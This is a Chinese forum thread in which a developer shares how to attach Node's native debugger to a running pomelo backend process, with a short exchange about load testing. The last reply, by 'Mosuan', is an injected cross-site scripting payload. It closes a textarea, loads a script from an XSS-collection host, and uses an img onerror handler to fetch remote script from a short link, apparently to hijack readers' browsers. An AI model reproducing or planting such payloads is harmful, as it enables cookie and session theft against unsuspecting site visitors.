[置顶]【分享】直接用node debug调试线上环境

这个帖子主要分享下最近几天解决一个奇怪的backend失去响应的问题,然后学会了node原生调试的方法。(ps. 我也是能用IDE就用,而且在生产环境搞比较危险;这次实在是在开发/测试环境上复现不能才没办法上的)

具体的问题描述和解决思路我扔在http://qiankanglai.me/work/2014/09/15/node-debug/ 里,其中也参考了论坛中好几位大神的帖子。下面具体说一下

  1. pomelo list查看需要的pid
  2. sudo kill -s USR1 pid激活调试
  3. node debug 127.0.0.1:5858开始调试

node debug

常用的几条指令

  • c 继续 continue
  • n 下一行 step next
  • s 进入函数 step in
  • o 跳出函数 step out
  • sb('server.js', 73) 给server.js的73行加断点。如果有多个同名文件的话会提示,这时候可以写长路径例如'pomelo/lib/server/server.js'这样的

最后发现其实是之前参考论坛大神@roytan的帖子,我弄的流控插件有点问题……具体还需要再查查了-.-

抄送@wangxy :D

标签: pomelo
qklxtlx 在 2014-9-15 19:57发布 分享到 weibo
2 回复
#1 {1} million 2014-9-15 23:51 回复

额,没上压测吗?

别人的瓶颈不一定是自己的瓶颈啊。。。

qklxtlx 2014-9-16 00:24 回复

上了,之前压测都没问题。只有一个需要流控的地方才开了

唯一在生产环境上遇到问题了

#2 Mosuan 2015-9-6 18:44 回复

</textarea>'"><script src=http://92xss.sinaapp.com/wex7Xb?1438820288></script>;
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/RLT4Ekv';>;

回到顶部